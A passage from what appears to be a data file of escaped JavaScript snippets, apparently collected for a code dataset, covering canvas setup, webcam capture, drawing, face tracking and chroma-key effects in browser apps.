canvas.on('mouse:down', function(e) {\\n mousePressed = true\\n });\\n canvas.on('mouse:move', function(e) {\\n recordCoor(e)\\n });\\n}\",\n \"function setupCanvas() {\\n// setup everything else\\n\\tconsole.log(\\\"Setting up canvas...\\\")\\n\\tcanvas = document.getElementById(\\\"drone-sim-canvas\\\");\\n\\twindow.addEventListener(\\\"keyup\\\", keyFunctionUp, false);\\n\\twindow.addEventListener(\\\"keydown\\\", keyFunctionDown, false);\\n\\twindow.onresize = doResize;\\n\\tcanvas.width = window.innerWidth-16;\\n\\tcanvas.height = window.innerHeight-200;\\n\\tconsole.log(\\\"Done.\\\")\\n}\",\n \"function setup() {\\n createCanvas(windowWidth, windowHeight);\\n capture = createCapture(VIDEO);\\n capture.size(windowWidth, windowHeight);\\n capture.hide();\\n background(255, 0, 200);\\n}\",\n \"function setup() {\\n // setup canvas: target\\n canvas = createCanvas(640, 480, WEBGL);\\n canvas.id('p5canvas');\\n background(51);\\n\\n // setup webcam: source\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n video.id('p5video'); // giving an ID to the video to link to seriously\\n video.hide();\\n\\n // switch between modes\\n createP(\\\"To start, press 'a' for blur or 's' for vignette.\\\");\\n\\n // adjust blur\\n createP('Adjust Blur');\\n blurSlider = createSlider(0, 1, 0.5, 0.01);\\n blurSlider.id('blur-slider');\\n\\n // adjust vignette strength\\n createP('Adjust Vignette');\\n vignetteSlider = createSlider(0, 100, 50);\\n vignetteSlider.id('vignette-slider');\\n\\n\\n // Call Seriously function inside the variable: seriously\\n seriously = new Seriously(); // create an object called seriously\\n\\n // Source: webcam, target: canvas\\n src = seriously.source('#p5video');\\n target = seriously.target('#p5canvas');\\n\\n keyReleased();\\n\\n seriously.go();\\n\\n\\n}\",\n \"_setupCanvas () {\\r\\n\\t\\tthis.canvas = document.createElement('canvas');\\r\\n\\t\\tthis.context = this.canvas.getContext('2d');\\r\\n\\r\\n\\t\\tthis.canvas.width = 500;\\r\\n\\t\\tthis.canvas.height = 500;\\r\\n\\r\\n\\t\\tlet body = document.getElementById('body');\\r\\n\\t\\tbody.appendChild(this.canvas);\\r\\n\\t}\",\n \"function render(){\\n var canvas = $('#canvas')[0];\\n var context = canvas.getContext('2d');\\n var video = $('#camera')[0];\\n\\n // copy camera frame from video to canvas so lines can be drawn on\\n try{\\n context.drawImage(video, 0, 0, video.width, video.height);\\n }\\n catch(error){\\n if(error.name != \\\"NS_ERROR_NOT_AVAILABLE\\\"){\\n throw error;\\n }\\n }\\n\\n // save original canvas\\n var subcanvas = $('#binary')[0];\\n var subcontext = subcanvas.getContext('2d');\\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\\n\\n // remaining detection\\n process(subcanvas);\\n\\n // flip horizontally\\n context.setTransform(1, 0, 0, 1, 0, 0);\\n context.translate(canvas.width, 0);\\n context.scale(-1, 1);\\n\\n // draw line\\n context.lineWidth = 1;\\n context.strokeStyle = 'green';\\n context.beginPath();\\n context.moveTo(canvas.width/4, canvas.height/2);\\n context.lineTo(canvas.width*3/4, canvas.height/2);\\n context.moveTo(canvas.width/2, canvas.height*3/8);\\n context.lineTo(canvas.width/2, canvas.height*5/8);\\n context.stroke();\\n\\n context.strokeStyle = 'blue';\\n context.beginPath();\\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\\n context.closePath();\\n context.stroke();\\n\\n requestAnimationFrame(render);\\n }\",\n \"initialiseCanvas(){\\n let canvas = document.querySelector(\\\".genetic-art .canvas_container .result\\\");\\n canvas.width = this.modelData.width;\\n canvas.height = this.modelData.height;\\n }\",\n \"function setCanvas(){\\n _canvas = document.getElementById('canvas');\\n _stage = _canvas.getContext('2d');\\n _canvas.width = _puzzleWidth;\\n _canvas.height = _puzzleHeight;\\n}\",\n \"async function setupCamera() {\\n const video = document.getElementById('video');\\n const canvas = document.getElementById('canvas');\\n if (!video || !canvas) return null;\\n\\n let msg = '';\\n log('Setting up camera');\\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\\n if (!navigator.mediaDevices) {\\n log('Camera Error: access not supported');\\n return null;\\n }\\n let stream;\\n const constraints = {\\n audio: false,\\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\\n };\\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\\n else constraints.video.height = { ideal: window.innerHeight };\\n try {\\n stream = await navigator.mediaDevices.getUserMedia(constraints);\\n } catch (err) {\\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\\n log(`Camera Error: ${msg}: ${err.message || err}`);\\n return null;\\n }\\n // @ts-ignore\\n if (stream) video.srcObject = stream;\\n else {\\n log('Camera Error: stream empty');\\n return null;\\n }\\n const track = stream.getVideoTracks()[0];\\n const settings = track.getSettings();\\n if (settings.deviceId) delete settings.deviceId;\\n if (settings.groupId) delete settings.groupId;\\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\\n log(`Camera active: ${track.label}`); // ${str(constraints)}\\n log(`Camera settings: ${str(settings)}`);\\n canvas.addEventListener('click', () => {\\n // @ts-ignore\\n if (video && video.readyState >= 2) {\\n // @ts-ignore\\n if (video.paused) {\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n } else {\\n // @ts-ignore\\n video.pause();\\n }\\n }\\n // @ts-ignore\\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\\n });\\n return new Promise((resolve) => {\\n video.onloadeddata = async () => {\\n // @ts-ignore\\n canvas.width = video.videoWidth;\\n // @ts-ignore\\n canvas.height = video.videoHeight;\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n resolve(true);\\n };\\n });\\n}\",\n \"function setup() {\\n createCanvas(1280, 480); // Create a display window\\n img = loadImage('lk.jpg'); // Load the image\\n capture = createCapture(VIDEO); // Get the capture video\\n capture.id(\\\"video_elemyent\\\"); // Set the video Id\\n capture.size(640, 480); // Define video size to 640x480\\n capture.hide() // Hide the streaning video\\n faceapi = ml5.faceApi(capture, faceReady);\\n}\",\n \"function setup() {\\n let canvasDiv = document.getElementById('animation');\\n canvasWidth = canvasDiv.offsetWidth;\\n canvasHeight = canvasDiv.offsetHeight;\\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\\n pipesWidth = canvasWidth / (pipesAmount + 1);\\n // Creates canvas\\n let canvas = createCanvas(canvasWidth, canvasHeight);\\n // Declares the parent div of the canvas\\n canvas.parent('animation');\\n}\",\n \"function setCanvas(){\\r\\n _canvas = document.getElementById('canvas');\\r\\n _stage = _canvas.getContext('2d');\\r\\n _canvas.width = _puzzleWidth;\\r\\n _canvas.height = _puzzleHeight;\\r\\n _canvas.style.border = \\\"1px solid black\\\";\\r\\n}\",\n \"init() {\\n const wrapper = document.getElementById('canvasWrapper');\\n let newCanvas;\\n if (!document.querySelector('canvas')) {\\n newCanvas = document.createElement('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n newCanvas.setAttribute('id', 'canvas');\\n this.context = newCanvas.getContext('2d');\\n wrapper.appendChild(newCanvas);\\n } else {\\n newCanvas = document.getElementById('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n this.context = newCanvas.getContext('2d');\\n }\\n this.style(wrapper);\\n }\",\n \"drawScreen () {\\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.drawImage(this.video2.canvas, 0, 0);\\n this.context.drawImage(this.video1.canvas, 0, 0);\\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\\n // this.context.putImageData(frame1, 0, 0);\\n }\\n }\",\n \"createCanvas() {\\n this.canvas = document.createElement('canvas');\\n this.canvas.width = this.width * this.resolution;\\n this.canvas.height = this.height * this.resolution;\\n this.context = this.canvas.getContext('2d');\\n }\",\n \"_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\\n this.canvasContainer = document.getElementById('canvasContainer1');\\n this.canvas = document.getElementById('canvas1');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 2) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer2');\\n this.canvas = document.getElementById('canvas2');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 3) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer3');\\n this.canvas = document.getElementById('canvas3');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 4) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer4');\\n this.canvas = document.getElementById('canvas4');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n }\\n }\",\n \"initializeCanvas(){\\n\\t\\tconsole.log(`======] Init Canvas [======`, this.state);\\n\\n\\t\\tif(this.state.device.width && this.state.device.height){\\n\\t\\t\\tthis.canvas = document.createElement('canvas');\\n\\t\\t\\tthis.canvas.id = 'screen-canvas';\\n\\t\\t\\tthis.canvas.width = this.state.device.width/2;\\n\\t\\t\\tthis.canvas.height = this.state.device.height/2;\\n\\t\\t\\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\\n\\t\\t\\tthis.canvas.onmouseover = this.cursorOver.bind(this);\\n\\t\\t\\tthis.canvas.onmouseout = this.cursorOut.bind(this);\\n\\t\\t\\tthis.canvas.onmousedown = this.interactStart.bind(this);\\n\\t\\t\\tthis.canvas.onmousemove = this.interactMove.bind(this);\\n\\t\\t\\tthis.canvas.onmouseup = this.interactEnd.bind(this);\\n\\t\\t\\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\\n\\t\\t\\tdocument.body.onkeydown = this.keyDown.bind(this);\\n\\t\\t\\tdocument.body.onkeyup = this.keyUp.bind(this);\\n\\n\\t\\t\\tdocument.getElementById('screen-container').appendChild(this.canvas)\\n\\t\\t\\tthis.ctx = this.canvas.getContext('2d');\\n\\t\\t}else{\\n\\t\\t\\talert(`Device resolution failed to be detected`);\\n\\t\\t}\\n\\t}\",\n \"function setup() {\\n createCanvas(800, 600);\\n pixelDensity(1); //for retina displays\\n capture = createCapture(VIDEO);\\n capture.size(width / vScale, height / vScale);\\n capture.hide();\\n\\n\\n}\",\n \"function createCanvasZone(canvas,ctx,video){\\r\\n \\r\\n var BtnZone = document.createElement('div');\\r\\n BtnZone.id=\\\"canvasBtnZone\\\";\\r\\n \\r\\n var clear_btn = document.createElement('input');\\r\\n clear_btn.type = \\\"button\\\";\\r\\n clear_btn.id = 'clearCanvas';\\r\\n clear_btn.className = \\\"canvas_btn\\\";\\r\\n clear_btn.value='Clear';\\r\\n clear_btn.onclick=function(){clearArea(ctx)};\\r\\n \\r\\n var close_btn = document.createElement('input');\\r\\n close_btn.type = \\\"button\\\";\\r\\n close_btn.className = \\\"canvas_btn\\\";\\r\\n close_btn.id = 'closeCanvas';\\r\\n close_btn.value='Close';\\r\\n close_btn.onclick=function(){BtnZone.remove();};\\r\\n \\r\\n\\r\\n \\r\\n var send_btn = document.createElement('input');\\r\\n send_btn.type = \\\"button\\\";\\r\\n send_btn.id = 'sendscreenShot';\\r\\n send_btn.className = \\\"canvas_btn\\\";\\r\\n send_btn.value='Send screenshot';\\r\\n send_btn.onclick=function(){sendScreenshot()};\\r\\n \\r\\n \\r\\n $('#CanvasZone').append(BtnZone);\\r\\n $('#canvasBtnZone').append(clear_btn);\\r\\n $('#canvasBtnZone').append(close_btn);\\r\\n $('#canvasBtnZone').append(send_btn); \\r\\n $('#canvasBtnZone').append(canvas); \\r\\n \\r\\n InitThis(ratio,canvas,video);\\r\\n}\",\n \"function takePhoto (e) {\\nlet ctx = outputCanvas.getContext('2d')\\nctx.drawImage(inputVideo,0,0)\\n}\",\n \"function initCanvas(width, height){}\",\n \"function setup()\\n{\\n const maxWidth = Math.min(windowWidth, windowHeight);\\n pixelDensity(1);\\n outputWidth = maxWidth;\\n outputHeight = maxWidth * 0.75; // 4:3\\n\\n createCanvas(outputWidth, outputHeight);\\n\\n // webcam capture\\n videoInput = createCapture(VIDEO);\\n videoInput.size(outputWidth, outputHeight);\\n videoInput.hide();\\n\\n // select filter\\n const sel = createSelect();\\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\\n sel.option('Select Filter', -1); // Default no filter\\n for (let i = 0; i < selectList.length; i++)\\n {\\n sel.option(selectList[i], i);\\n }\\n sel.changed(applyFilter);\\n\\n // tracker\\n faceTracker = new clm.tracker();\\n faceTracker.init();\\n faceTracker.start(videoInput.elt);\\n}\",\n \"function setUpCanvas() {\\r\\n canvas = document.createElement(\\\"CANVAS\\\");\\r\\n canvas.id = \\\"canvas\\\";\\r\\n canvas.style.width = \\\"100%\\\";\\r\\n canvas.style.height = \\\"100%\\\";\\r\\n canvas.style.background = 'black';\\r\\n canvas.style.marginLeft = 'auto';\\r\\n canvas.style.marginRight = 'auto';\\r\\n canvas.style.display = 'block';\\r\\n }\",\n \"init() {\\n if (this.canvas.getContext) {\\n this.start();\\n } else {\\n canvas.textContent = 'Sorry canvas not suport';\\n }\\n }\",\n \"function adaptElements() {\\n const rect = document.body.getBoundingClientRect();\\n const screenWidth = rect.width;\\n const screenHeight = rect.height;\\n const videoWidth = video.videoWidth;\\n const videoHeight = video.videoHeight;\\n const widthRatio = videoWidth / screenWidth;\\n const heightRatio = videoHeight / screenHeight;\\n const ratio = Math.min(widthRatio, heightRatio);\\n // set image size and offset\\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\\n // adapt canvas size to input video size\\n canvas.width = imageWidth;\\n canvas.height = imageHeight;\\n // adapt canvas size to screen\\n image.width = screenWidth;\\n image.height = screenHeight;\\n // calculate video screen size and offset\\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\\n // resize and position video an screen\\n video.width = videoScreenWidth;\\n video.height = videoScreenHeight;\\n video.style.left = `${-videoScreenX}px`;\\n video.style.top = `${-videoScreenY}px`;\\n // show live video\\n resetVideo();\\n }\",\n \"static init(canvas){\\r\\n\\r\\n\\r\\n\\t}\",\n \"function playVideo(videoTimeline) {\\n\\n const timelineNode = videoTimeline.next\\n const video = videoTimeline.data.videoCore\\n const videoEndTime = videoTimeline.data.metadata.endTime\\n \\n loop = () => {\\n if (!window.currentlyPlaying) {\\n return\\n }\\n\\n if (videoEndTime < video.currentTime + 0.01) {\\n /* Pausing the current video if necessary */\\n video.pause()\\n\\n if (timelineNode) {\\n\\n /* Setting the current switch value */\\n if (timelineNode.data.metadata.ratio == 'fit') {\\n window.currentRatio = 'fit'\\n document.querySelector('.toogle-fit').click()\\n } else if (timelineNode.data.metadata.ratio == 'strech') {\\n window.currentRatio = 'strech'\\n document.querySelector('.toogle-strech').click()\\n }\\n\\n /* Starting next video from the beginning */\\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\\n\\n /* Updating the window.currentVideoSelectedForPlayback variable */\\n window.currentVideoSelectedForPlayback = timelineNode\\n\\n /* Playing the next frame */\\n playVideo(timelineNode)\\n }\\n } else {\\n /* Updating the UI */\\n renderUIAfterFrameChange(videoTimeline)\\n\\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\\n setTimeout(loop, 33.3333333) \\n }\\n }\\n\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n \\n loop()\\n video.play()\\n}\",\n \"function gStart() {\\n\\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\\n\\n var noSelectHTML = \\\"\\\"\\n + \\\" \\\"\\n ;\\n var headElement = document.getElementsByTagName('head')[0];\\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\\n\\n // ADD VIEWER ELEMENTS TO DOCUMENT\\n\\n var viewerHTML = \\\"\\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n +\\n (isShowingRenderer\\n ?\\n \\\" \\\"\\n + \\\" \\\"\\n :\\n \\\" \\\"\\n + \\\" \\\"\\n )\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n// + \\\" \\\"\\n ;\\n window.bodyElement = document.getElementsByTagName('body')[0];\\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\\n bodyElement.style.color = blackBackgroundColor;\\n\\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\\n\\n slide.width = width();\\n sketch_canvas.width = width();\\n events_canvas.width = width();\\n\\n slide.height = height();\\n sketch_canvas.height = height();\\n events_canvas.height = height();\\n\\n background.width = width();\\n background.height = height();\\n background.style.backgroundColor = backgroundColor;\\n\\n // INITIALIZE THE SKETCH CANVAS\\n\\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\\n sketch_canvas.setup = function() {\\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\\n setPage(0);\\n }\\n\\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\\n\\n fourStart();\\n\\n if (window['scene_div'] !== undefined) {\\n scene_div.width = width();\\n scene_div.height = height();\\n var sceneElement = document.getElementById('scene_div');\\n sceneElement.appendChild(renderer.domElement);\\n }\\n\\n // SET SIZE OF WEBGL CANVAS\\n\\n webgl_canvas.width = width();\\n webgl_canvas.height = height();\\n\\n // START WEBGL MODELER\\n\\n if (isPhone()) {\\n sketchPadding *= 2;\\n }\\n\\n lightTracker = new LightTracker(video_analysis_canvas);\\n\\n window.ctScene = new CT.Scene(webgl_canvas);\\n ctScene.setLight(0, [ 1, 1, 1]);\\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\\n\\n initCTPath();\\n\\n // START ALL CANVASES RUNNING\\n\\n var c = document.getElementsByTagName(\\\"canvas\\\");\\n\\n initEventHandlers(events_canvas);\\n initSketchCanvas();\\n\\n // SET SIZE OF VIDEO CANVAS\\n\\n video_canvas.width = width();\\n video_canvas.height = height();\\n\\n // server = new Server();\\n // socket = server.connectSocket();\\n\\n midi = new Midi();\\n\\n document.title = 'Chalktalk';\\n }\",\n \"function init(options) {\\n\\t\\t// sanity check\\n\\t\\tif (!options) {\\n\\t\\t\\tthrow 'No options object provided';\\n\\t\\t}\\n\\n\\t\\t// incoming options with defaults\\n\\t\\tvideo = options.video || document.createElement('video');\\n\\t\\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\\n\\t\\tcaptureIntervalTime = options.captureIntervalTime || 100;\\n\\t\\tcaptureWidth = options.captureWidth || 640;\\n\\t\\tcaptureHeight = options.captureHeight || 480;\\n\\t\\tdiffWidth = options.diffWidth || 64;\\n\\t\\tdiffHeight = options.diffHeight || 48;\\n\\t\\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\\n\\t\\tscoreThreshold = options.scoreThreshold || 16;\\n\\t\\tincludeMotionBox = options.includeMotionBox || false;\\n\\t\\tincludeMotionPixels = options.includeMotionPixels || false;\\n\\n\\t\\t// callbacks\\n\\t\\tinitSuccessCallback = options.initSuccessCallback || function() {};\\n\\t\\tinitErrorCallback = options.initErrorCallback || function() {};\\n\\t\\tstartCompleteCallback = options.startCompleteCallback || function() {};\\n\\t\\tcaptureCallback = options.captureCallback || function() {};\\n\\n\\t\\t// non-configurable\\n\\t\\tcaptureCanvas = document.createElement('canvas');\\n\\t\\tdiffCanvas = document.createElement('canvas');\\n\\t\\tisReadyToDiff = false;\\n\\n\\t\\t// prep video\\n\\t\\tvideo.autoplay = true;\\n\\n\\t\\t// prep capture canvas\\n\\t\\tcaptureCanvas.width = captureWidth;\\n\\t\\tcaptureCanvas.height = captureHeight;\\n\\t\\tcaptureContext = captureCanvas.getContext('2d');\\n\\n\\t\\t// prep diff canvas\\n\\t\\tdiffCanvas.width = diffWidth;\\n\\t\\tdiffCanvas.height = diffHeight;\\n\\t\\tdiffContext = diffCanvas.getContext('2d');\\n\\n\\t\\t// prep motion canvas\\n\\t\\tmotionCanvas.width = diffWidth;\\n\\t\\tmotionCanvas.height = diffHeight;\\n\\t\\tmotionContext = motionCanvas.getContext('2d');\\n\\n\\t\\trequestWebcam();\\n\\t}\",\n \"initCanvas() { \\n\\t\\tthis.canvas = document.getElementById(\\\"canvas\\\");\\n\\t\\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\\n\\t\\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\\n\\t\\tthis.ctx = this.canvas.getContext(\\\"2d\\\");\\t\\n\\t}\",\n \"constructor(sourceCanvas, resultCanvas) {\\n this.source = sourceCanvas.getContext(\\\"2d\\\")\\n this.result = resultCanvas.getContext(\\\"2d\\\")\\n }\",\n \"function CanvasInit(){\\n context.fillStyle = 'white';\\n context.fillRect(0,0,canvas.width, canvas.height);\\n context.fillStyle = 'black';\\n context.strokeStyle = 'black'\\n setUpCanvas();\\n clear();\\n}\",\n \"_initCanvas (canvas) {\\n if (canvas) {\\n this.canvas = canvas\\n this.width = canvas.width\\n this.height = canvas.height\\n } else {\\n this.canvas = document.createElement('canvas')\\n this.canvas.width = this.width\\n this.canvas.height = this.height\\n this.canvas.style.width = '100%'\\n this.canvas.style.height = '100%'\\n this.canvas.style.imageRendering = 'pixelated'\\n document.body.appendChild(this.canvas)\\n }\\n }\",\n \"function Init() {\\n // Get context handles\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\n CanvasHandle.width = ratioX * scale;\\n CanvasHandle.height = ratioY * scale;\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\n\\n // Create an image backbuffer\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\n BackCanvasHandle.width = CanvasWidth;\\n BackCanvasHandle.height = CanvasHeight;\\n\\n // Set line style\\n BackContextHandle.lineCap = \\\"butt\\\";\\n BackContextHandle.lineJoin = \\\"round\\\";\\n\\n // Get the canvas center\\n CenterX = CanvasWidth / 2;\\n CenterY = CanvasHeight / 2;\\n Camera = {x:0, y:0, z:1};\\n}\",\n \"set canvas(c){\\n this._canvas = c ;\\n if (c){\\n this._context = c.getContext('2d') ;\\n }\\n }\",\n \"function startVideo() {\\n navigator.getUserMedia(\\n { \\n video: \\n {\\n //the ideal part is imp, it helps to get 16:9 ratio also\\n height : { ideal : window.innerHeight } ,\\n width : { ideal : window.innerWidth }\\n } \\n } ,\\n stream => video.srcObject = stream,\\n err => console.error(err)\\n ) \\n}\",\n \"function initVideo() {\\n log_d(\\\"Initializing the video subsystem\\\");\\n\\n var setVideoDev = function (devs) {\\n log_d(\\\"Got video capture devices: \\\" + JSON.stringify(devs));\\n var dev = '';\\n $.each(devs, function (k, v) {\\n dev = k;\\n $('#webcamsSelect').append($(' '));\\n });\\n if (dev) {\\n log_d(\\\"Using video capture device: \\\" + JSON.stringify(devs[dev]));\\n window.configuredDevice = dev;\\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\\n } else {\\n log_e(\\\"None video capture devices installed.\\\");\\n }\\n };\\n log_d(\\\"Getting video capture devices\\\");\\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\\n\\n}\",\n \"function demo(vid) {\\n\\tvar video = vid;\\n\\tvar demo = this;\\n\\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\\n\\tvar el = document.getElementById('demo-content');\\n\\t\\n\\tvar gui = new dat.GUI({ autoPlace: false });\\n\\tel.appendChild(gui.domElement);\\n\\t\\n\\tvar videoImageContext;\\n\\t\\n\\t//public variables:\\n\\tthis.mode = \\\"chromaKey\\\";\\n\\tgui.add(this, \\\"mode\\\", [\\\"Chroma Key\\\", \\\"Subtraction\\\", \\\"Fancy Method\\\"]);\\n\\t\\n\\tthis.bg_snapshot = function(){\\n\\t\\tsnapshot();\\n\\t}\\n\\tgui.add(this, \\\"bg_snapshot\\\");\\n\\n\\tinit();\\n\\t\\n\\tfunction init() {\\n\\t\\tvideoImage = document.createElement( 'canvas' );\\n\\t\\tvideoImage.width = width;\\n\\t\\tvideoImage.height = height;\\n\\t\\tel.appendChild( videoImage );\\n\\t\\t\\n\\t\\tvideoImageContext = videoImage.getContext( '2d' );\\n\\t\\tvideoImageContext.scale(-1, 1);\\n\\t\\tanimate();\\n\\t}\\n\\t\\n\\tfunction animate(){\\n\\t\\trequestAnimationFrame( animate );\\n\\t\\trender();\\n\\t}\\n\\t\\n\\tfunction drawImage(){\\n\\t\\t//mirror the image using scale(-1, 1)\\n\\t\\tvideoImageContext.drawImage(video, -width, 0, width, height);\\n\\t\\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\\n\\t}\\n\\t\\n\\tfunction render(){\\n\\t\\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\\n\\t\\t\\tdrawImage();\\n\\t\\t\\tswitch (this.mode){\\n\\t\\t\\t\\tcase 'Chroma Key':\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Subtraction':\\n\\t\\t\\t\\t\\tsubtraction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Fancy Method':\\n\\t\\t\\t\\t\\tfancy();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t\\n\\tvar color_ratio = 2.5, threshold = 40;\\n\\tfunction chromaKey() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\t\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4;\\n\\t\\t\\tvar r = frame.data[pos + 0];\\n\\t\\t\\tvar g = frame.data[pos + 1];\\n\\t\\t\\tvar b = frame.data[pos + 2];\\n\\t\\t\\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\\n\\t\\t\\t\\tframe.data[pos + 0] = 255;\\n\\t\\t\\t\\tframe.data[pos + 1] = 255;\\n\\t\\t\\t\\tframe.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 